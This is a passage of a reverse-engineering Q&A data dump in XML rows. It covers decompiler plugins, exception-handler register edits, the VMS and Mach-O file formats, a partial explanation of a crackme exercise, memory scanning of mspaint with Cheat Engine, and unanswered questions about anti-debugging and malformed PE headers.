href=&quot;https://reverseengineering.stackexchange.com/questions/2549/how-to-obtain-x86-64-pseudocode-in-ida-pro/13299?noredirect=1#comment20306_13299&quot;&gt;Mentioned&lt;/a&gt; by @ws)&lt;/li&gt;&#xA;&lt;li&gt;A python-only IDA decompiler plugin called &lt;a href=&quot;https://github.com/EiNSTeiN-/decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida-decompiler&lt;/a&gt; (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2549/how-to-obtain-x86-64-pseudocode-in-ida-pro/2550#2550&quot;&gt;Mentioned&lt;/a&gt; by @0xea)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="13506" LastEditDate="2021-01-05T20:42:10.337" LastActivityDate="2021-01-05T20:42:10.337" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13300" PostTypeId="1" AcceptedAnswerId="13301" CreationDate="2016-08-18T00:36:05.590" Score="0" ViewCount="295" Body="&lt;p&gt;I was wondering if it was possible to change the value of a register when an instruction gets executed. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x10 call eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say &lt;code&gt;eax&lt;/code&gt; contains &lt;code&gt;0x20&lt;/code&gt; at that point, I want to add &lt;code&gt;0x10&lt;/code&gt; to it so that the address that gets called is now &lt;code&gt;0x30&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried doing was set a &lt;code&gt;AddVectoredExceptionHandler&lt;/code&gt; and put an &lt;code&gt;INT3&lt;/code&gt; on &lt;code&gt;0x10&lt;/code&gt;. When my exception handler gets called, I restore the original byte at &lt;code&gt;0x10&lt;/code&gt;. Then I add &lt;code&gt;0x10&lt;/code&gt; to &lt;code&gt;eax&lt;/code&gt; and jump to &lt;code&gt;ExceptionInfo-&amp;gt;ContextRecord-&amp;gt;Eip&lt;/code&gt;. This obviously doesn't work well because I never return to the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way or is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="17130" LastEditorUserId="15907" LastEditDate="2016-08-18T10:16:41.587" LastActivityDate="2016-08-18T10:16:41.587" Title="Is it possible to change the value of a register when a certain instruction is executed?" Tags="|windows|x86|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13301" PostTypeId="2" ParentId="13300" CreationDate="2016-08-18T04:31:12.963" Score="1" Body="&lt;p&gt;Alright, so apparently you can just edit &lt;code&gt;ExceptionInfo-&amp;gt;ContextRecord-&amp;gt;Eax&lt;/code&gt; inside your &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LONG CALLBACK VectoredHandler(&#xA;  _In_ PEXCEPTION_POINTERS ExceptionInfo&#xA;);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;function and the OS will set the eax to that value when it returns the execution back to where the exception was(If you return EXCEPTION_CONTINUE_EXECUTION.)&lt;/p&gt;&#xA;" OwnerUserId="17130" LastActivityDate="2016-08-18T04:31:12.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13302" PostTypeId="1" AcceptedAnswerId="13307" CreationDate="2016-08-18T08:37:11.987" Score="0" ViewCount="147" Body="&lt;p&gt;I have a few dusty old VAX VMS executable files I want to tease apart. I just can't seem to find a decent description of the file format. The best I've got is the &quot;VAX/VMS internals Student Workbook&quot;, but I'd like something more authoritative.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2016-08-18T08:44:42.883" LastActivityDate="2016-08-18T10:37:36.573" Title="Is a machine-readable VMS executable file format description available?" Tags="|vax|vms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13303" PostTypeId="5" CreationDate="2016-08-18T08:42:21.857" Score="0" Body="&lt;p&gt;The VAX minicomputer family was created by Digital Equipment Corporation (DEC) in the 1970's. The VAX instruction set architecture was based on DEC's previous PDP-11 instruction set.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2016-08-18T15:23:04.327" LastActivityDate="2016-08-18T15:23:04.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13304" PostTypeId="4" CreationDate="2016-08-18T08:42:21.857" Score="0" Body="DEC VAX architecture" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2016-08-18T15:22:48.343" LastActivityDate="2016-08-18T15:22:48.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13305" PostTypeId="5" CreationDate="2016-08-18T08:43:44.207" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-08-18T08:43:44.207" LastActivityDate="2016-08-18T08:43:44.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13306" PostTypeId="4" CreationDate="2016-08-18T08:43:44.207" Score="0" Body="VMS is an operating system for VAX minicomputers, created by DEC" OwnerUserId="12260" LastEditorUserId="12260" LastEditDate="2016-08-18T15:22:57.610" LastActivityDate="2016-08-18T15:22:57.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13307" PostTypeId="2" ParentId="13302" CreationDate="2016-08-18T10:37:36.573" Score="2" Body="&lt;p&gt;I found some definitions in &lt;a href=&quot;http://fossies.org/linux/privat/old/freevms-0_3_15.tgz/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;freevms-0_3_15.gz&lt;/code&gt;&lt;/a&gt;, in particular &lt;code&gt;ihddef.h&lt;/code&gt; for the header and &lt;code&gt;isddef.h&lt;/code&gt; for the sections. There is also some code which uses those structs to parse the executables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  struct _isd * section=(unsigned long)buffer+ehdr32-&amp;gt;ihd$w_size;&#xA;&#xA;  long symtab=0, symtabsize=0, symtabvbn=0, symstr=0, symstrsize=0, symstrvbn=0;&#xA;&#xA;  while (section&amp;lt;(buffer+512*ehdr32-&amp;gt;ihd$b_hdrblkcnt)) {&#xA;    if (section-&amp;gt;isd$w_size==0)&#xA;      break;&#xA;    if (section-&amp;gt;isd$w_size==0xffffffff) {&#xA;      int no=((unsigned long)section-(unsigned long)buffer)&amp;gt;&amp;gt;9;&#xA;      section=buffer+512*(no+1);&#xA;      continue;&#xA;    }&#xA;    if (debug-&amp;gt;ihs$l_dstvbn==section-&amp;gt;isd$l_vbn) {&#xA;      symtab=section-&amp;gt;isd$v_vpn&amp;lt;&amp;lt;12;&#xA;      symtabvbn=debug-&amp;gt;ihs$l_dstvbn;&#xA;      symtabsize=section-&amp;gt;isd$w_pagcnt;&#xA;    }&#xA;&#xA;    if (debug-&amp;gt;ihs$l_dmtvbn==section-&amp;gt;isd$l_vbn) {&#xA;      symstr=section-&amp;gt;isd$v_vpn&amp;lt;&amp;lt;12;&#xA;      symstrvbn=debug-&amp;gt;ihs$l_dmtvbn;&#xA;      symstrsize=section-&amp;gt;isd$w_pagcnt;&#xA;    }&#xA;&#xA;    section=(unsigned long)section+section-&amp;gt;isd$w_size;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-18T10:37:36.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13308" PostTypeId="1" AcceptedAnswerId="13328" CreationDate="2016-08-18T17:45:14.143" Score="0" ViewCount="110" Body="&lt;p&gt;I'm working on a reverse engineering project with fat executables on OS X. So far I have established the structure of the &lt;code&gt;fat_header&lt;/code&gt;, &lt;code&gt;fat_arch&lt;/code&gt; and &lt;code&gt;macho_header&lt;/code&gt;, but am having trouble finding documentation about the ordering of the &lt;code&gt;fat_arch&lt;/code&gt; sections. Right now my project works by assuming that &lt;code&gt;fat_arch&lt;/code&gt; sections appear in order of ascending offset fields. Is this assumption correct, or can the &lt;code&gt;fat_arch&lt;/code&gt; sections appear in any order?&lt;/p&gt;&#xA;" OwnerUserId="17138" LastEditorUserId="4437" LastEditDate="2016-08-21T14:31:11.303" LastActivityDate="2016-08-21T14:31:11.303" Title="Order of architecture headers in fat (universal) executables" Tags="|binary-analysis|executable|osx|binary-format|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13309" PostTypeId="1" AcceptedAnswerId="13310" CreationDate="2016-08-18T19:47:44.800" Score="3" ViewCount="1593" Body="&lt;p&gt;Right now I'm trying to solve r5 from &lt;a href=&quot;https://github.com/wapiflapi/exrs&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried to understand pseudo-code from Hooper&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_password {&#xA;    var_28 = arg0;&#xA;    if (strlen(var_28) != strlen(&quot;this_is_not_even_interesting_its_garbage&quot;)) {&#xA;            rax = 0xffffffff;&#xA;    }&#xA;    else {&#xA;            strcpy(&quot;this_is_not_even_interesting_its_garbage&quot;, var_28);&#xA;            var_18 = 0x1;&#xA;            while (var_18 != 0x0) {&#xA;                    var_18 = 0x0;&#xA;                    for (var_14 = 0x0; var_14 &amp;lt;= 0x27; var_14 = var_14 + 0x1) {&#xA;                            if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff) != 0x0) {&#xA;                                    rax = random();&#xA;                                    rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) &amp;amp; 0xff &amp;amp; 0xff;&#xA;                                    temp_3 = rax % rcx;&#xA;                                    *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff) - temp_3 + 0x1;&#xA;                                    var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff &amp;amp; 0xff;&#xA;                                    *(int8_t *)(sign_extend_32(var_14) + &quot;this_is_not_even_interesting_its_garbage&quot;) = (*(int8_t *)(sign_extend_32(var_14) + &quot;this_is_not_even_interesting_its_garbage&quot;) &amp;amp; 0xff) - temp_3 + 0x1;&#xA;                            }&#xA;                    }&#xA;            }&#xA;            rax = *master;&#xA;            rax = strcmp(rax, &quot;this_is_not_even_interesting_its_garbage&quot;);&#xA;    }&#xA;    return rax;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's too complicated for me right now. So I know that the password length should be 40 but how does the other part of the code work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unclear parts are the &lt;code&gt;unt8_t&lt;/code&gt; casts. I've used gdb to step through the code, and I saw the results of certain instructions but cannot understand why these are the results ?&lt;/p&gt;&#xA;" OwnerUserId="17140" LastEditorUserId="4437" LastEditDate="2016-08-19T08:14:55.363" LastActivityDate="2016-08-19T08:14:55.363" Title="Wapiflapi reverse engeneering exercices" Tags="|decompilation|hopper|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13310" PostTypeId="2" ParentId="13309" CreationDate="2016-08-18T22:30:11.363" Score="3" Body="&lt;p&gt;Although OP clarified only the inner &lt;code&gt;for&lt;/code&gt; is unreadable to him, I'll write an answer that thoroughly explains the first few lines and then abruptly stops at the most crucial part of the inner for loop. While believing examples are a great way to learn, I do that to make this as educational as possible, without interfering with the learning process of independently solving exercises. I am also unfamiliar with the specific set of exercises and would like to avoid providing full answers where those were not intended by the creator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope i hit that sweet spot of being educational enough yet not too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with the exercise, here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_18 = 0x1;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set an internal state to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;while (var_18 != 0x0) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While state is &lt;code&gt;True&lt;/code&gt;, continue executing loop's content. The state is actually a boolean indicating processing is not finished yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_18 = 0x0;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set internal state to zero at every outer loop iteration. This means every iteration must set the &quot;not finished yet&quot; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for (var_14 = 0x0; var_14 &amp;lt;= 0x27; var_14 = var_14 + 0x1) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inner for iterates 0x28 times, 40 in decimal. Since we know this is the length of the entire string, we can assume the inner loop somehow iterates over all characters of the string. This might be a coincidence, but we should keep an eye for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff) != 0x0) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here it gets a little bit more complicated, so we'll split it to several parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sign_extend_32(var_14)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we know var_14 is a non negative integer between 0 and 39 (including), there's no meaning to sign-extending it. Sign-extending is basically the operation of converting a shorter length value to longer, taking the sign bit into account. See &lt;a href=&quot;https://en.wikipedia.org/wiki/Sign_extension&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for more info about sign-extension. This is either a compiler or decompiler artifact. A more advanced decompiler might have removed this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(int8_t *)(sign_extend_32(var_14) + 0x6010a0)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add our &lt;code&gt;var_14&lt;/code&gt; to a relatively long hex offset. By the looks of it, it's probably an offset to table of 40 bytes. This is learnt from experience, taking a look at value at that address might clear it up. Adding &lt;code&gt;var_14&lt;/code&gt; and then casting to an int8 pointer further suggests that's the case, using &lt;code&gt;var_14&lt;/code&gt; as the index in that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we weren't convinced yet, by now it's pretty clear as we read a byte from the resulting offset. AND-ing it with 0xff is yet another decompiler artifact, caused by how a compiler will read a byte in 64bit intel processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff) != 0x0) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;back to the full line, this is reading the byte from the table, and skipping the current iteraction of the inner loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rax = random();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple. Set a random value into &lt;code&gt;rax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) &amp;amp; 0xff &amp;amp; 0xff;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually quite identical to the condition from before, only now the value of that index in the table is stored into &lt;code&gt;rcx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;remaining lines of code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                temp_3 = rax % rcx;&#xA;                                *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff) - temp_3 + 0x1;&#xA;                                var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) &amp;amp; 0xff &amp;amp; 0xff;&#xA;                                *(int8_t *)(sign_extend_32(var_14) + &quot;this_is_not_even_interesting_its_garbage&quot;) = (*(int8_t *)(sign_extend_32(var_14) + &quot;this_is_not_even_interesting_its_garbage&quot;) &amp;amp; 0xff) - temp_3 + 0x1;&#xA;                        }&#xA;                }&#xA;        }&#xA;        rax = *master;&#xA;        rax = strcmp(rax, &quot;this_is_not_even_interesting_its_garbage&quot;);&#xA;}&#xA;return rax;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-08-18T22:30:11.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13311" PostTypeId="1" AcceptedAnswerId="13313" CreationDate="2016-08-18T22:58:33.783" Score="1" ViewCount="1596" Body="&lt;p&gt;I'm an absolute beginner (just started learning about process memory a few hours ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the memory address for the color of &lt;a href=&quot;https://i.stack.imgur.com/jUbmL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Color 1&lt;/a&gt; in mspaint using &lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's black, so I've tried searching for &lt;strong&gt;000000&lt;/strong&gt;, &lt;strong&gt;0, 0, 0&lt;/strong&gt;, &lt;strong&gt;Color 1&lt;/strong&gt;, and &lt;strong&gt;Black&lt;/strong&gt; in each of the boxes. (ASCII, UNICODE, Hex)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten nowhere with that. Like I said, I'm a beginner, so this is all extremely foreign to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciate some help with learning how to find a color's memory address, so I can &lt;em&gt;then&lt;/em&gt; change the color and stuff.&lt;/p&gt;&#xA;" OwnerUserId="17144" LastActivityDate="2022-01-06T04:27:57.227" Title="How would I find a color's memory address? (Beginner)" Tags="|windows|debugging|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13312" PostTypeId="1" AcceptedAnswerId="13315" CreationDate="2016-08-18T23:59:38.833" Score="1" ViewCount="286" Body="&lt;p&gt;Hex-Rays generated C code is adding a lot of redundancy code, and I cannot figure out why and it really frustrates me to remove them manually on my reverse engineering process.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( v1 )&#xA;{&#xA;    v15.ObjectID = *(_DWORD *)Obj.ObjectID;&#xA;    v6 = AccessObject((Object)&amp;amp;v15);&#xA;    ObjectType::setTypeID(&amp;amp;v16, v6-&amp;gt;Type.TypeID);&#xA;    v7 = ObjectType::getFlag(&amp;amp;v16, BANK);&#xA;    v4 = 0;&#xA;    if ( !v7 )&#xA;    {&#xA;      v16.TypeID = *(_DWORD *)Obj.ObjectID;&#xA;      v8 = AccessObject((Object)&amp;amp;v16);&#xA;      ObjectType::setTypeID((ObjectType *const )&amp;amp;v15, v8-&amp;gt;Type.TypeID);&#xA;      v9 = ObjectType::getFlag((ObjectType *const )&amp;amp;v15, CLIP);&#xA;      v4 = 1;&#xA;      if ( !v9 )&#xA;      {&#xA;        v16.TypeID = *(_DWORD *)Obj.ObjectID;&#xA;        v10 = AccessObject((Object)&amp;amp;v16);&#xA;        ObjectType::setTypeID((ObjectType *const )&amp;amp;v15, v10-&amp;gt;Type.TypeID);&#xA;        v11 = ObjectType::getFlag((ObjectType *const )&amp;amp;v15, BOTTOM);&#xA;        v4 = 2;&#xA;        if ( !v11 )&#xA;        {&#xA;          v16.TypeID = *(_DWORD *)Obj.ObjectID;&#xA;          v12 = AccessObject((Object)&amp;amp;v16);&#xA;          ObjectType::setTypeID((ObjectType *const )&amp;amp;v15, v12-&amp;gt;Type.TypeID);&#xA;          v13 = ObjectType::getFlag((ObjectType *const )&amp;amp;v15, TOP);&#xA;          v4 = 3;&#xA;          if ( !v13 )&#xA;          {&#xA;            v16.TypeID = *(_DWORD *)Obj.ObjectID;&#xA;            v14 = AccessObject((Object)&amp;amp;v16);&#xA;            ObjectType::setTypeID((ObjectType *const )&amp;amp;v15, v14-&amp;gt;Type.TypeID);&#xA;            v4 = (v15.ObjectID != 99) + 4;&#xA;          }&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    error(&quot;GetObjectPriority: _bergebenes Objekt existiert nicht.\n&quot;);&#xA;    v4 = 0x7FFFFFFF;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's continous assigns to the v15 stack variable, which are making absolutely non-sense, I doubt the actual programmers of this binary had this intent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could have easily done it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int32_t Priority = 0;&#xA;if (Object)&#xA;{&#xA;    if (!Object-&amp;gt;getFlag(BANK))&#xA;    {&#xA;        Priority = 1;&#xA;        if (!Object-&amp;gt;getFlag(CLIP))&#xA;        {&#xA;            Priority = 2;&#xA;            if (!Object-&amp;gt;getFlag(BOTTOM))&#xA;            {&#xA;                Priority = 3;&#xA;                if (!Object-&amp;gt;getFlag(TOP))&#xA;                {&#xA;                    Priority = (Object-&amp;gt;TypeID != 99) + 4;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;else&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;GetObjectPriority: Object is NULL.&quot; &amp;lt;&amp;lt; std::endl;&#xA;    Priority = -1;&#xA;}&#xA;&#xA;return Priority;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I mess with IDA to stop this madness?&lt;/p&gt;&#xA;" OwnerUserId="17145" LastEditorUserId="2147" LastEditDate="2016-08-19T08:15:02.253" LastActivityDate="2016-08-19T08:32:38.073" Title="IDA Hex-Rays Generating Redundant Code" Tags="|ida|decompilation|static-analysis|decompiler|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13313" PostTypeId="2" ParentId="13311" CreationDate="2016-08-19T00:15:53.653" Score="3" Body="&lt;p&gt;Alright, so you're trying to find the Red, Green, and Blue values of the currently selected color. I'll show you how to do this using Cheat Engine, but you can also translate this to x64dbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fire up Paint and select &lt;code&gt;mspaint.exe&lt;/code&gt; in CE(Cheat Engine) to debug it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the color to black or any other color you'd like, I will use black as my initial starting color. See what RGB values the color black has in Paint, in our case it's 0 0 0.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1&lt;a href=&quot;https://i.stack.imgur.com/xYPJm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYPJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here I will make a few assumptions. I will assume that the Red, Green and Blue values are each 1 byte in size because they can only go up to 255 which is the limit that a 1 byte value can hold. I also assume that these values are at the same address, one after the other. Equivalent to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct color {&#xA;    char r, g, b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To sum it up, we want to find 3 contiguous byte values somewhere in memory. We know their values from Paint, so we can search for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now we can switch over to CE and select &lt;code&gt;Grouped&lt;/code&gt; scan so we can search for grouped values. In our case we have a group of 3 values, each being 1 byte. So, this is how CE should now look like.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1&lt;a href=&quot;https://i.stack.imgur.com/4Fc84.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Fc84.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I simply press on &lt;code&gt;First Scan&lt;/code&gt; and CE will find any memory in the paint.exe address space where there are 3 bytes with 0 in them, equivalent to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;someAddress   0x00&#xA;someAddress+1 0x00&#xA;someAddress+2 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CE will find a lot of addresses where this byte pattern occurs because three zero bytes isn't very unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I will do now is select another color in Paint and follow the same process, except at the end I'll press &lt;code&gt;Next Scan&lt;/code&gt; instead of &lt;code&gt;First Scan&lt;/code&gt;. What this will do is CE will look at all of the addresses it found with three zeroes, and it will look if any of them changed to your new grouped values. One of those addresses will now hold the three new grouped values, and CE will find it for you and you'll only be left with &lt;em&gt;hopefully&lt;/em&gt; one address left. If you're left more than a few, you can repeat the process with a new color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is color in Green, it means that it is static and will not change when you restart paint. Once you have the address of where the RGB is stored, and you can change it or read it or do whatever you want with it.&lt;/p&gt;&#xA;" OwnerUserId="17130" LastActivityDate="2016-08-19T00:15:53.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13314" PostTypeId="1" AcceptedAnswerId="13375" CreationDate="2016-08-19T04:16:59.980" Score="2" ViewCount="2317" Body="&lt;p&gt;How do I defeat the &lt;code&gt;ZwQueryInformationProcess()&lt;/code&gt; anti-debugging protection for the ProcessDebugPort class? &#xA;Unlike &lt;code&gt;isDebuggerPresent()&lt;/code&gt; I found this really hard to bypass in my skill... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to bypass this api function?&lt;/p&gt;&#xA;" OwnerUserId="17146" LastEditorUserId="1323" LastEditDate="2017-02-19T03:48:09.810" LastActivityDate="2017-02-19T03:48:09.810" Title="how do I bypass ZwQueryInformationProcess as anti-debugging protection" Tags="|windows|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13315" PostTypeId="2" ParentId="13312" CreationDate="2016-08-19T08:32:38.073" Score="1" Body="&lt;p&gt;Writing a good decompiler is hard. There are multiple challenges in the process.&#xA;Writing a decompiler that has no redundant code in its output is even harder.&#xA;Most decompilers still ouput high level code that resembles the assembly code it originated from, and that's what you see as redudant assignments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't really something you can do about it easily. You could try contacting IDA's support to get them to improve the decompiler. You could write an IDAPython script the implements the extra code simplifications. Or you could continue doing that manually.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-08-19T08:32:38.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13316" PostTypeId="1" CreationDate="2016-08-19T10:35:49.780" Score="2" ViewCount="5375" Body="&lt;p&gt;I am currently trying to reverse a program that is EXE format, and I believe written and compiled with Microsoft Visual C++ 2010. The end goal is to map the executables functions, and find a method to bypass the file entirely. I have attempted among other things to open the file with ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Olly states that it is probably not a win32 application, upon accepting that, olly is unable to start the program. Log says nothing. Yet the program starts perfectly in a normal context. After some &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;reading&lt;/a&gt; it seems clear to me that the author must have exploited the PE header in some way to confuse the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, surely there must be plugins or debuggers out there that can closer mimic the windows loader, and therefore can run these files, if so can you list an example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say this because i can open the file in resource hacker,but again PEid does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S - Starting the program and then attempting to attach does nothing as the process is not listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've Read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6874/is-not-valid-win32-application-why&quot;&gt;RESE - Basically messed with PE to the point where windows wouldn't load the exe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2060/why-my-resource-hacker-doesnt-work-with-some-exe-files?newreg=4c69f2c7ae1340e0a287cf1b895a965b&quot;&gt;RESE - Specific only to Resource Hacker (which funnily enough works)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1852/why-does-an-executable-give-an-error-when-opened-in-tool&quot;&gt;RESE - Does not seem to give a way to combat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1399/how-to-prevent-use-of-resource-editors/1538#1538&quot;&gt;RESE - Explains of methods for other resource editors, is there a method for Olly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virusbulletin.com/uploads/pdf/conference_slides/2007/CaseySheehanVB2007.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virus Bulletin - Explains PE manipulation, introduces PeSweep&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PE Header (Not complete):&#xA;&lt;a 